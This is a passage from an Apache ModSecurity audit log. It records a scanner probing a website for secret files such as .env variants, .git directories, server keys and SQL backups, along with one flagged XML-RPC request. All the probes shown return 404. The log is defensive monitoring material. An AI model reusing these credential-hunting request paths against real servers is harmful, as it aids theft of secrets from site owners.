"CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/new/.env"] [unique_id "aE9NL1R6EeXjkGzEkbls8AAAAAs"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027567693279 650863 (- - -) Stopwatch2: 1750027567693279 650863; combined=1938, p1=378, p2=1432, p3=0, p4=0, p5=127, sr=99, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --579fe636-Z-- --5dfa5f3f-A-- [16/Jun/2025:04:16:14.496167 +0530] aE9NNX2GhYywD7zZgx4CTgAAAAM 185.177.72.210 42220 127.0.0.1 7081 --5dfa5f3f-B-- GET /.dat HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5dfa5f3f-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0b4e29439b73246e8b4a498f5e8968741750027574; expires=Sun, 15 Jun 2025 23:46:14 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5dfa5f3f-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".dat"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/.dat"] [unique_id "aE9NNX2GhYywD7zZgx4CTgAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027573859579 636650 (- - -) Stopwatch2: 1750027573859579 636650; combined=1714, p1=303, p2=1321, p3=0, p4=0, p5=89, sr=87, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5dfa5f3f-Z-- --7d3b4807-A-- [16/Jun/2025:04:16:31.689435 +0530] aE9NR32GhYywD7zZgx4CVQAAAAM 185.177.72.210 48156 127.0.0.1 7081 --7d3b4807-B-- GET /:8880/base/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7d3b4807-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=dbb3301bbac81f120cf870fc076096531750027591; expires=Sun, 15 Jun 2025 23:46:31 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7d3b4807-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8880/base/.env"] [unique_id "aE9NR32GhYywD7zZgx4CVQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027591020788 668709 (- - -) Stopwatch2: 1750027591020788 668709; combined=2053, p1=490, p2=1472, p3=0, p4=0, p5=90, sr=120, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7d3b4807-Z-- --5ef9721b-A-- [16/Jun/2025:04:16:35.750421 +0530] aE9NS3wHSJGQ1A1pR0qYPgAAAAY 185.177.72.210 48310 127.0.0.1 7081 --5ef9721b-B-- GET /credentials/config_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --5ef9721b-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=28c5ee5bfbb8b33a21eca7a845b96ebb1750027595; expires=Sun, 15 Jun 2025 23:46:35 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --5ef9721b-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/credentials/config_backup.sql"] [unique_id "aE9NS3wHSJGQ1A1pR0qYPgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027595088606 661889 (- - -) Stopwatch2: 1750027595088606 661889; combined=1715, p1=333, p2=1286, p3=0, p4=0, p5=95, sr=102, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --5ef9721b-Z-- --242e0720-A-- [16/Jun/2025:04:16:41.922336 +0530] aE9NUVxTdrwJSUMoZvGyjgAAAAc 185.177.72.210 49866 127.0.0.1 7081 --242e0720-B-- GET /admin/.git/ HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --242e0720-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=ce57212128a21b497a468cbe01f5764f1750027601; expires=Sun, 15 Jun 2025 23:46:41 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --242e0720-H-- Message: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/admin/.git/"] [unique_id "aE9NUVxTdrwJSUMoZvGyjgAAAAc"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027601281012 641385 (- - -) Stopwatch2: 1750027601281012 641385; combined=2299, p1=516, p2=1711, p3=0, p4=0, p5=71, sr=142, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --242e0720-Z-- --b8664f2c-A-- [16/Jun/2025:04:16:42.927304 +0530] aE9NUuxC6fQU5wYvxvlwywAAAAk 185.177.72.210 49916 127.0.0.1 7081 --b8664f2c-B-- GET /certs/server.key HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b8664f2c-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=48ddfba3593d5b4e77e83a4b47c00ee91750027602; expires=Sun, 15 Jun 2025 23:46:42 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b8664f2c-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".key"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/certs/server.key"] [unique_id "aE9NUuxC6fQU5wYvxvlwywAAAAk"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027602273740 653636 (- - -) Stopwatch2: 1750027602273740 653636; combined=1710, p1=284, p2=1335, p3=0, p4=0, p5=91, sr=77, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b8664f2c-Z-- --36baea1e-A-- [16/Jun/2025:04:16:44.973089 +0530] aE9NVHwHSJGQ1A1pR0qYQgAAAAY 185.177.72.210 50010 127.0.0.1 7081 --36baea1e-B-- GET /:10000/.env.production HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --36baea1e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=fa0566ceb7cb7fb0a6658d15cd322b0c1750027604; expires=Sun, 15 Jun 2025 23:46:44 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --36baea1e-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:10000/.env.production"] [unique_id "aE9NVHwHSJGQ1A1pR0qYQgAAAAY"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027604311768 661397 (- - -) Stopwatch2: 1750027604311768 661397; combined=2234, p1=357, p2=1779, p3=0, p4=0, p5=98, sr=85, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --36baea1e-Z-- --a729e375-A-- [16/Jun/2025:04:16:47.965443 +0530] aE9NV32GhYywD7zZgx4CXQAAAAM 185.177.72.210 50122 127.0.0.1 7081 --a729e375-B-- GET /:5601/.env.prod HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --a729e375-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=bbe6a0316d2344ef9a379fe7832e7e041750027607; expires=Sun, 15 Jun 2025 23:46:47 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --a729e375-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:5601/.env.prod"] [unique_id "aE9NV32GhYywD7zZgx4CXQAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027607313030 652484 (- - -) Stopwatch2: 1750027607313030 652484; combined=1604, p1=299, p2=1209, p3=0, p4=0, p5=96, sr=75, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --a729e375-Z-- --304ac847-A-- [16/Jun/2025:04:16:54.258792 +0530] aE9NXbBfUm2FdhH5voEQgwAAAAU 185.177.72.210 47780 127.0.0.1 7081 --304ac847-B-- GET /backups/db_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --304ac847-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=0fc64c3b397acd70ab03bb7e0d0118381750027614; expires=Sun, 15 Jun 2025 23:46:54 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --304ac847-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/backups/db_backup.sql"] [unique_id "aE9NXbBfUm2FdhH5voEQgwAAAAU"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027613594512 664364 (- - -) Stopwatch2: 1750027613594512 664364; combined=1809, p1=380, p2=1307, p3=0, p4=0, p5=122, sr=127, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --304ac847-Z-- --fb69b273-A-- [16/Jun/2025:04:16:56.254682 +0530] aE9NX7V9qKUox3X8g1YkfAAAAAg 185.177.72.210 47910 127.0.0.1 7081 --fb69b273-B-- GET /credentials/db_backup.sql HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --fb69b273-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=a8a49b2b5df8c005ebb4c3491962fa0f1750027616; expires=Sun, 15 Jun 2025 23:46:56 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --fb69b273-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "www.mindscan.edu.in"] [uri "/credentials/db_backup.sql"] [unique_id "aE9NX7V9qKUox3X8g1YkfAAAAAg"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027615587849 666902 (- - -) Stopwatch2: 1750027615587849 666902; combined=2314, p1=387, p2=1836, p3=0, p4=0, p5=91, sr=97, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --fb69b273-Z-- --7d9c5e47-A-- [16/Jun/2025:04:17:00.230427 +0530] aE9NY32GhYywD7zZgx4CZAAAAAM 185.177.72.210 58544 127.0.0.1 7081 --7d9c5e47-B-- GET /docker-compose/.env HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7d9c5e47-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=d079b2cc67081f7536bdfa6f5a9216ab1750027620; expires=Sun, 15 Jun 2025 23:47:00 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7d9c5e47-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/docker-compose/.env"] [unique_id "aE9NY32GhYywD7zZgx4CZAAAAAM"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027619569223 661265 (- - -) Stopwatch2: 1750027619569223 661265; combined=1647, p1=367, p2=1180, p3=0, p4=0, p5=99, sr=91, sw=1, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --7d9c5e47-Z-- --9d9a3d5f-A-- [16/Jun/2025:04:17:05.054911 +0530] aE9NaPNXjUHq-Wm7C_8WZAAAAAQ 128.199.112.101 58786 127.0.0.1 7081 --9d9a3d5f-B-- POST //xmlrpc.php HTTP/1.0 Host: best-website-designs.com X-Real-IP: 128.199.112.101 X-Accel-Internal: /internal-nginx-static-location Connection: close Content-Length: 491 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Content-Type: application/xml --9d9a3d5f-F-- HTTP/1.1 200 OK X-Powered-By: PHP/8.3.22 Connection: close Vary: Accept-Encoding Content-Type: text/xml; charset=UTF-8 --9d9a3d5f-H-- Message: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Operator EQ matched 0 at IP. [file "/etc/apache2/modsecurity.d/rules/comodo_free/30_Apps_OtherApps.conf"] [line "5956"] [id "240335"] [rev "5"] [msg "COMODO WAF: XML-RPC Attack Identified (CVE-2013-0235)|Source 128.199.112.101 (51+1 hits since last alert)|best-website-designs.com|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "best-website-designs.com"] [uri "/xmlrpc.php"] [unique_id "aE9NaPNXjUHq-Wm7C_8WZAAAAAQ"] Apache-Handler: proxy:unix:/var/www/vhosts/system/best-website-designs.com/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027624091062 963936 (- - -) Stopwatch2: 1750027624091062 963936; combined=2442, p1=348, p2=1543, p3=50, p4=83, p5=276, sr=91, sw=142, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --9d9a3d5f-Z-- --b3b98d01-A-- [16/Jun/2025:04:17:07.318808 +0530] aE9Nah-kH31pk4mNbsVHGgAAAAo 185.177.72.210 58892 127.0.0.1 7081 --b3b98d01-B-- GET /:8888/.env.dev HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --b3b98d01-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=23946c1dab24faedec2fb3cbf5d391fa1750027627; expires=Sun, 15 Jun 2025 23:47:07 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --b3b98d01-H-- Message: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] Apache-Error: [file "apache2_util.c"] [line 288] [level 3] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_URI. [file "/etc/apache2/modsecurity.d/rules/comodo_free/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.mindscan.edu.in"] [uri "/:8888/.env.dev"] [unique_id "aE9Nah-kH31pk4mNbsVHGgAAAAo"] Apache-Handler: proxy:unix:/var/www/vhosts/system/mindscan.edu.in/php-fpm.sock|fcgi://127.0.0.1:9000 Stopwatch: 1750027626637914 680955 (- - -) Stopwatch2: 1750027626637914 680955; combined=1938, p1=400, p2=1443, p3=0, p4=0, p5=95, sr=95, sw=0, l=0, gc=0 Producer: ModSecurity for Apache/2.9.8 (http://www.modsecurity.org/); CWAF_Apache. Server: Apache Engine-Mode: "DETECTION_ONLY" --b3b98d01-Z-- --7a8ba01e-A-- [16/Jun/2025:04:17:08.349155 +0530] aE9Na3wHSJGQ1A1pR0qYTgAAAAY 185.177.72.210 58946 127.0.0.1 7081 --7a8ba01e-B-- GET /app.config HTTP/1.0 Host: www.mindscan.edu.in X-Real-IP: 185.177.72.210 X-Accel-Internal: /internal-nginx-static-location Connection: close User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36 Accept-Encoding: gzip --7a8ba01e-F-- HTTP/1.1 404 Not Found X-Powered-By: PHP/8.3.22 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.mindscan.edu.in/wp-json/>; rel="https://api.w.org/" Set-Cookie: _sfs_id=8affcf057ed3a6706dd3d5895dbbf7cb1750027628; expires=Sun, 15 Jun 2025 23:47:08 GMT; Max-Age=3600; path=/; secure; HttpOnly Connection: close Content-Type: text/html; charset=UTF-8 --7a8ba01e-H-- Message: Warning. Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/etc/apache2/modsecurity.d/rules/comodo_free/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||www.mindscan.edu.in|F|2"] [data ".config"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] 